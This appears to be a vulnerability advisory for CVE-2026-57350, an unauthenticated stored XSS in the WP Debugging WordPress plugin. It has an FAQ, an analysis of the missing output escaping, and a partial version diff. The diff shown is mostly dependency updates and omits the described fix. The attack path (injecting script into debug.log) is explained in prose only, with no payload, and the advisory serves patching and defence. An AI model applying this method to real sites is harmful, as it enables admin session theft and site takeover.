What is CVE-2026-57350?

CVE-2026-57350 is a vulnerability in the WP Debugging plugin for WordPress that allows unauthenticated attackers to inject arbitrary web scripts into pages. This occurs due to insufficient input sanitization and output escaping, enabling the execution of malicious scripts when users access the affected pages.

How does the vulnerability work?

The vulnerability allows attackers to send crafted HTTP requests that write malicious JavaScript to the WordPress debug.log file. When an administrator or user views the raw debug output through the plugin, the unsanitized script executes in their browser, potentially compromising their session or account.

Who is affected by this vulnerability?

Any WordPress site using the WP Debugging plugin version 2.12.2 or earlier is affected by this vulnerability. This includes sites where debug logging is enabled, which is often the case for development or troubleshooting environments.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the WP Debugging plugin installed. If it is version 2.12.2 or earlier, and if debug logging is enabled (WP_DEBUG_LOG set to true), your site is at risk.

How can I fix this vulnerability?

The vulnerability can be fixed by updating the WP Debugging plugin to version 2.12.3 or later, where the issue has been addressed. Regularly updating all plugins and themes is a best practice to maintain site security.

What does a CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity vulnerability. This means that the risk of exploitation is significant, and it could lead to serious consequences such as account compromise or unauthorized actions on the site.

What are the practical risks of this vulnerability?

If exploited, this vulnerability can lead to full account compromise of administrators, theft of session cookies, and unauthorized actions such as installing malicious plugins or modifying site content. The risk is heightened because it does not require authentication.

What is the proof of concept for this vulnerability?

The proof of concept demonstrates how an attacker can inject a script into the debug log by sending a crafted HTTP request. When an administrator later views the raw debug output, the injected script executes, showcasing the vulnerability’s impact.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider disabling debug logging in your WordPress configuration by setting WP_DEBUG_LOG to false. This will prevent the logging of potentially malicious data until you can apply the update.

How can I prevent similar vulnerabilities in the future?

To prevent similar vulnerabilities, ensure that all plugins and themes are regularly updated, use security plugins that monitor for vulnerabilities, and conduct periodic security audits of your WordPress site. Additionally, limit the use of debug logging in production environments.

Is it safe to use the WP Debugging plugin after the patch?

Yes, it is safe to use the WP Debugging plugin after updating to version 2.12.3 or later. The patch addresses the stored XSS vulnerability by properly sanitizing output, but always ensure to follow best practices for security.

Where can I find more information about this vulnerability?

More information about CVE-2026-57350 can be found on the official CVE database, security advisories from WordPress, and vulnerability analysis reports from security research firms. Staying informed through these resources can help maintain site security.

Published : July 20, 2026

CVE-2026-57350: WP Debugging <= 2.12.2 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-57350

Plugin wp-debugging

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 2.12.2

Patched Version 2.12.3

Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57350:

This vulnerability involves a Stored Cross-Site Scripting (XSS) in the WP Debugging plugin for WordPress, versions up to and including 2.12.2. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts into pages that execute when accessed. The CVSS score is 7.2, indicating high severity. The root cause is the absence of output escaping on raw debug file data rendered via wp_die() in the vendor library debug-quick-look.

The vulnerable code resides in `wp-debugging/vendor/norcross/debug-quick-look/includes/parser.php`. In the `view_raw` method at line 46, the plugin reads a raw debug log file using `file_get_contents()` and passes it directly to `wp_die()` without any sanitization or escaping: `wp_die( ‘

' . $raw_debug . '

‘, … )`. The variable `$raw_debug` contains the entire contents of the debug file, which an attacker can populate by sending crafted HTTP requests that write arbitrary data (including JavaScript) to the debug log. Atomic Edge analysis shows that this lack of output escaping allows injected script payloads to persist and execute in the browser of any user viewing the raw debug output.

An attacker can exploit this by first sending requests that contain malicious JavaScript in a way that gets written to the WordPress debug.log file, such as via HTTP headers, request URIs, or POST parameters. When a site administrator or other user accesses the debug-quick-look interface and triggers the raw view, the unsanitized payload executes in the user’s browser. The attack requires the WordPress debug logging to be enabled (WP_DEBUG_LOG set to true), which is the common use case for this plugin. The attacker does not need authentication because they can contribute data to the debug log through normal HTTP interactions.

The patch modifies the same line in `parser.php` to wrap the `$raw_debug` variable with `esc_html()`, changing the output to: `wp_die( ‘

' . esc_html( $raw_debug ) . '

‘, … )`. This escapes all HTML special characters, preventing any injected script tags from being executed. The before behavior rendered raw file contents including HTML/JavaScript; the after behavior renders the content as plain text, stripping its executable nature. Atomic Edge research confirms this change directly addresses the stored XSS vector.

If exploited, this vulnerability can lead to full account compromise of administrators, theft of session cookies, defacement of the WordPress admin dashboard, and potential privilege escalation. An attacker with a stored XSS in the admin context can execute arbitrary actions as the victim, including installing malicious plugins, modifying content, or exfiltrating sensitive database information. The impact is severe because it requires no authentication and can target any user who views the debug logs.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wp-debugging/src/Settings.php
+++ b/wp-debugging/src/Settings.php
@@ -189,7 +189,6 @@
 			return $added;
 		} catch ( Exception $e ) {
 			$messsage = 'Caught Exception: FragenWP_DebuggingSettings::add_constants() - ' . $e->getMessage();
-			// error_log( $messsage );
 			wp_die( esc_html( $messsage ) );
 		}
 	}
@@ -247,7 +246,6 @@
 			}
 		} catch ( Exception $e ) {
 			$messsage = 'Caught Exception: FragenWP_DebuggingSettings::remove_constants() - ' . $e->getMessage();
-			// error_log( $messsage );
 			wp_die( esc_html( $messsage ) );
 		}
 	}
--- a/wp-debugging/vendor/afragen/wp-dependency-installer/wp-dependency-installer.php
+++ b/wp-debugging/vendor/afragen/wp-dependency-installer/wp-dependency-installer.php
@@ -258,7 +258,7 @@
 			$download_link = get_site_transient( 'wpdi-' . md5( $slug ) );

 			if ( ! $download_link ) {
-				$url           = 'https://api.wordpress.org/plugins/info/1.1/';
+				$url           = 'https://api.wordpress.org/plugins/info/1.2/';
 				$url           = add_query_arg(
 					[
 						'action'                        => 'plugin_information',
--- a/wp-debugging/vendor/autoload.php
+++ b/wp-debugging/vendor/autoload.php
@@ -14,12 +14,9 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInite1f5adc9515432075cab7f858b4fb8f2::getLoader();
+return ComposerAutoloaderInitfee2b201ed65ce1c019065831091f75a::getLoader();
--- a/wp-debugging/vendor/composer/InstalledVersions.php
+++ b/wp-debugging/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,19 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -350,7 +387,7 @@
             }
         }

-        if (self::$installed !== array()) {
+        if (self::$installed !== array() && !$copiedLocalDir) {
             $installed[] = self::$installed;
         }

--- a/wp-debugging/vendor/composer/autoload_classmap.php
+++ b/wp-debugging/vendor/composer/autoload_classmap.php
@@ -12,22 +12,36 @@
     'PHPCSUtils\BackCompat\BCTokens' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/BackCompat/BCTokens.php',
     'PHPCSUtils\BackCompat\Helper' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/BackCompat/Helper.php',
     'PHPCSUtils\Exceptions\InvalidTokenArray' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/InvalidTokenArray.php',
+    'PHPCSUtils\Exceptions\LogicException' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/LogicException.php',
+    'PHPCSUtils\Exceptions\MissingArgumentError' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/MissingArgumentError.php',
+    'PHPCSUtils\Exceptions\OutOfBoundsStackPtr' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/OutOfBoundsStackPtr.php',
+    'PHPCSUtils\Exceptions\RuntimeException' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/RuntimeException.php',
     'PHPCSUtils\Exceptions\TestFileNotFound' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/TestFileNotFound.php',
     'PHPCSUtils\Exceptions\TestMarkerNotFound' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/TestMarkerNotFound.php',
     'PHPCSUtils\Exceptions\TestTargetNotFound' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/TestTargetNotFound.php',
+    'PHPCSUtils\Exceptions\TypeError' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/TypeError.php',
+    'PHPCSUtils\Exceptions\UnexpectedTokenType' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/UnexpectedTokenType.php',
+    'PHPCSUtils\Exceptions\ValueError' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/ValueError.php',
     'PHPCSUtils\Fixers\SpacesFixer' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Fixers/SpacesFixer.php',
+    'PHPCSUtils\Internal\AttributeHelper' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/AttributeHelper.php',
     'PHPCSUtils\Internal\Cache' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/Cache.php',
     'PHPCSUtils\Internal\IsShortArrayOrList' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/IsShortArrayOrList.php',
     'PHPCSUtils\Internal\IsShortArrayOrListWithCache' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/IsShortArrayOrListWithCache.php',
     'PHPCSUtils\Internal\NoFileCache' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/NoFileCache.php',
     'PHPCSUtils\Internal\StableCollections' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/StableCollections.php',
+    'PHPCSUtils\TestUtils\ConfigDouble' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/TestUtils/ConfigDouble.php',
+    'PHPCSUtils\TestUtils\RulesetDouble' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/TestUtils/RulesetDouble.php',
     'PHPCSUtils\TestUtils\UtilityMethodTestCase' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/TestUtils/UtilityMethodTestCase.php',
     'PHPCSUtils\Tokens\Collections' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Tokens/Collections.php',
     'PHPCSUtils\Tokens\TokenHelper' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Tokens/TokenHelper.php',
     'PHPCSUtils\Utils\Arrays' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Arrays.php',
+    'PHPCSUtils\Utils\AttributeBlock' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/AttributeBlock.php',
     'PHPCSUtils\Utils\Conditions' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Conditions.php',
+    'PHPCSUtils\Utils\Constants' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Constants.php',
     'PHPCSUtils\Utils\Context' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Context.php',
     'PHPCSUtils\Utils\ControlStructures' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/ControlStructures.php',
+    'PHPCSUtils\Utils\FileInfo' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/FileInfo.php',
+    'PHPCSUtils\Utils\FilePath' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/FilePath.php',
     'PHPCSUtils\Utils\FunctionDeclarations' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/FunctionDeclarations.php',
     'PHPCSUtils\Utils\GetTokensAsString' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/GetTokensAsString.php',
     'PHPCSUtils\Utils\Lists' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Lists.php',
@@ -42,6 +56,7 @@
     'PHPCSUtils\Utils\PassedParameters' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/PassedParameters.php',
     'PHPCSUtils\Utils\Scopes' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Scopes.php',
     'PHPCSUtils\Utils\TextStrings' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/TextStrings.php',
+    'PHPCSUtils\Utils\TypeString' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/TypeString.php',
     'PHPCSUtils\Utils\UseStatements' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/UseStatements.php',
     'PHPCSUtils\Utils\Variables' => $vendorDir . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Variables.php',
     'WP_Dependency_Installer' => $vendorDir . '/afragen/wp-dependency-installer/wp-dependency-installer.php',
--- a/wp-debugging/vendor/composer/autoload_real.php
+++ b/wp-debugging/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInite1f5adc9515432075cab7f858b4fb8f2
+class ComposerAutoloaderInitfee2b201ed65ce1c019065831091f75a
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInite1f5adc9515432075cab7f858b4fb8f2', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitfee2b201ed65ce1c019065831091f75a', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInite1f5adc9515432075cab7f858b4fb8f2', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitfee2b201ed65ce1c019065831091f75a', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInite1f5adc9515432075cab7f858b4fb8f2::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitfee2b201ed65ce1c019065831091f75a::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInite1f5adc9515432075cab7f858b4fb8f2::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInitfee2b201ed65ce1c019065831091f75a::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/wp-debugging/vendor/composer/autoload_static.php
+++ b/wp-debugging/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInite1f5adc9515432075cab7f858b4fb8f2
+class ComposerStaticInitfee2b201ed65ce1c019065831091f75a
 {
     public static $files = array (
         'ab4b292309a54cb14fb006d8f6ed2fba' => __DIR__ . '/..' . '/norcross/debug-quick-look/debug-quick-look.php',
@@ -12,22 +12,22 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'P' =>
+        'P' =>
         array (
             'PHPCSStandards\Composer\Plugin\Installers\PHPCodeSniffer\' => 57,
         ),
-        'F' =>
+        'F' =>
         array (
             'Fragen\WP_Debugging\' => 20,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'PHPCSStandards\Composer\Plugin\Installers\PHPCodeSniffer\' =>
+        'PHPCSStandards\Composer\Plugin\Installers\PHPCodeSniffer\' =>
         array (
             0 => __DIR__ . '/..' . '/dealerdirect/phpcodesniffer-composer-installer/src',
         ),
-        'Fragen\WP_Debugging\' =>
+        'Fragen\WP_Debugging\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
@@ -40,22 +40,36 @@
         'PHPCSUtils\BackCompat\BCTokens' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/BackCompat/BCTokens.php',
         'PHPCSUtils\BackCompat\Helper' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/BackCompat/Helper.php',
         'PHPCSUtils\Exceptions\InvalidTokenArray' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/InvalidTokenArray.php',
+        'PHPCSUtils\Exceptions\LogicException' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/LogicException.php',
+        'PHPCSUtils\Exceptions\MissingArgumentError' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/MissingArgumentError.php',
+        'PHPCSUtils\Exceptions\OutOfBoundsStackPtr' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/OutOfBoundsStackPtr.php',
+        'PHPCSUtils\Exceptions\RuntimeException' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/RuntimeException.php',
         'PHPCSUtils\Exceptions\TestFileNotFound' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/TestFileNotFound.php',
         'PHPCSUtils\Exceptions\TestMarkerNotFound' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/TestMarkerNotFound.php',
         'PHPCSUtils\Exceptions\TestTargetNotFound' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/TestTargetNotFound.php',
+        'PHPCSUtils\Exceptions\TypeError' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/TypeError.php',
+        'PHPCSUtils\Exceptions\UnexpectedTokenType' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/UnexpectedTokenType.php',
+        'PHPCSUtils\Exceptions\ValueError' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Exceptions/ValueError.php',
         'PHPCSUtils\Fixers\SpacesFixer' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Fixers/SpacesFixer.php',
+        'PHPCSUtils\Internal\AttributeHelper' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/AttributeHelper.php',
         'PHPCSUtils\Internal\Cache' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/Cache.php',
         'PHPCSUtils\Internal\IsShortArrayOrList' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/IsShortArrayOrList.php',
         'PHPCSUtils\Internal\IsShortArrayOrListWithCache' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/IsShortArrayOrListWithCache.php',
         'PHPCSUtils\Internal\NoFileCache' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/NoFileCache.php',
         'PHPCSUtils\Internal\StableCollections' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Internal/StableCollections.php',
+        'PHPCSUtils\TestUtils\ConfigDouble' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/TestUtils/ConfigDouble.php',
+        'PHPCSUtils\TestUtils\RulesetDouble' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/TestUtils/RulesetDouble.php',
         'PHPCSUtils\TestUtils\UtilityMethodTestCase' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/TestUtils/UtilityMethodTestCase.php',
         'PHPCSUtils\Tokens\Collections' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Tokens/Collections.php',
         'PHPCSUtils\Tokens\TokenHelper' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Tokens/TokenHelper.php',
         'PHPCSUtils\Utils\Arrays' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Arrays.php',
+        'PHPCSUtils\Utils\AttributeBlock' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/AttributeBlock.php',
         'PHPCSUtils\Utils\Conditions' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Conditions.php',
+        'PHPCSUtils\Utils\Constants' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Constants.php',
         'PHPCSUtils\Utils\Context' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Context.php',
         'PHPCSUtils\Utils\ControlStructures' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/ControlStructures.php',
+        'PHPCSUtils\Utils\FileInfo' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/FileInfo.php',
+        'PHPCSUtils\Utils\FilePath' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/FilePath.php',
         'PHPCSUtils\Utils\FunctionDeclarations' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/FunctionDeclarations.php',
         'PHPCSUtils\Utils\GetTokensAsString' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/GetTokensAsString.php',
         'PHPCSUtils\Utils\Lists' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Lists.php',
@@ -70,6 +84,7 @@
         'PHPCSUtils\Utils\PassedParameters' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/PassedParameters.php',
         'PHPCSUtils\Utils\Scopes' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Scopes.php',
         'PHPCSUtils\Utils\TextStrings' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/TextStrings.php',
+        'PHPCSUtils\Utils\TypeString' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/TypeString.php',
         'PHPCSUtils\Utils\UseStatements' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/UseStatements.php',
         'PHPCSUtils\Utils\Variables' => __DIR__ . '/..' . '/phpcsstandards/phpcsutils/PHPCSUtils/Utils/Variables.php',
         'WP_Dependency_Installer' => __DIR__ . '/..' . '/afragen/wp-dependency-installer/wp-dependency-installer.php',
@@ -80,9 +95,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInite1f5adc9515432075cab7f858b4fb8f2::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInite1f5adc9515432075cab7f858b4fb8f2::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInite1f5adc9515432075cab7f858b4fb8f2::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitfee2b201ed65ce1c019065831091f75a::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitfee2b201ed65ce1c019065831091f75a::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitfee2b201ed65ce1c019065831091f75a::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wp-debugging/vendor/composer/installed.php
+++ b/wp-debugging/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'afragen/wp-debugging',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '6060c38465c4d7399cfd0b4e5d4e3560f04f60af',
+        'reference' => '248c1f3bfbd28f228712c571ebf4e1441bf39331',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,16 +13,16 @@
         'afragen/wp-debugging' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '6060c38465c4d7399cfd0b4e5d4e3560f04f60af',
+            'reference' => '248c1f3bfbd28f228712c571ebf4e1441bf39331',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'afragen/wp-dependency-installer' => array(
-            'pretty_version' => '4.3.13',
-            'version' => '4.3.13.0',
-            'reference' => '6a6366d21710a34f134d747b1ae673daa165b78c',
+            'pretty_version' => '4.3.14',
+            'version' => '4.3.14.0',
+            'reference' => '38f127feeaeb1cfc8544c120d4e9e372fa41f79e',
             'type' => 'library',
             'install_path' => __DIR__ . '/../afragen/wp-dependency-installer',
             'aliases' => array(),
@@ -38,17 +38,17 @@
             'dev_requirement' => false,
         ),
         'dealerdirect/phpcodesniffer-composer-installer' => array(
-            'pretty_version' => 'v1.0.0',
-            'version' => '1.0.0.0',
-            'reference' => '4be43904336affa5c2f70744a348312336afd0da',
+            'pretty_version' => 'v1.2.1',
+            'version' => '1.2.1.0',
+            'reference' => '963f0c67bffde0eac41b56be71ac0e8ba132f0bd',
             'type' => 'composer-plugin',
             'install_path' => __DIR__ . '/../dealerdirect/phpcodesniffer-composer-installer',
             'aliases' => array(),
             'dev_requirement' => true,
         ),
         'norcross/debug-quick-look' => array(
-            'pretty_version' => '0.1.12',
-            'version' => '0.1.12.0',
+            'pretty_version' => '0.1.14',
+            'version' => '0.1.14.0',
             'reference' => null,
             'type' => 'library',
             'install_path' => __DIR__ . '/../norcross/debug-quick-look',
@@ -56,45 +56,45 @@
             'dev_requirement' => false,
         ),
         'phpcsstandards/phpcsextra' => array(
-            'pretty_version' => '1.2.1',
-            'version' => '1.2.1.0',
-            'reference' => '11d387c6642b6e4acaf0bd9bf5203b8cca1ec489',
+            'pretty_version' => '1.5.0',
+            'version' => '1.5.0.0',
+            'reference' => 'b598aa890815b8df16363271b659d73280129101',
             'type' => 'phpcodesniffer-standard',
             'install_path' => __DIR__ . '/../phpcsstandards/phpcsextra',
             'aliases' => array(),
             'dev_requirement' => true,
         ),
         'phpcsstandards/phpcsutils' => array(
-            'pretty_version' => '1.0.12',
-            'version' => '1.0.12.0',
-            'reference' => '87b233b00daf83fb70f40c9a28692be017ea7c6c',
+            'pretty_version' => '1.2.2',
+            'version' => '1.2.2.0',
+            'reference' => 'c216317e96c8b3f5932808f9b0f1f7a14e3bbf55',
             'type' => 'phpcodesniffer-standard',
             'install_path' => __DIR__ . '/../phpcsstandards/phpcsutils',
             'aliases' => array(),
             'dev_requirement' => true,
         ),
         'squizlabs/php_codesniffer' => array(
-            'pretty_version' => '3.10.3',
-            'version' => '3.10.3.0',
-            'reference' => '62d32998e820bddc40f99f8251958aed187a5c9c',
+            'pretty_version' => '3.13.5',
+            'version' => '3.13.5.0',
+            'reference' => '0ca86845ce43291e8f5692c7356fccf3bcf02bf4',
             'type' => 'library',
             'install_path' => __DIR__ . '/../squizlabs/php_codesniffer',
             'aliases' => array(),
             'dev_requirement' => true,
         ),
         'wp-cli/wp-config-transformer' => array(
-            'pretty_version' => 'v1.4.1',
-            'version' => '1.4.1.0',
-            'reference' => '9da378b5a4e28bba3bce4ff4ff04a54d8c9f1a01',
+            'pretty_version' => 'v1.4.6',
+            'version' => '1.4.6.0',
+            'reference' => '1ef18784990b85b35202c2d68dbbc4a8fe6615b6',
             'type' => 'library',
             'install_path' => __DIR__ . '/../wp-cli/wp-config-transformer',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'wp-coding-standards/wpcs' => array(
-            'pretty_version' => '3.1.0',
-            'version' => '3.1.0.0',
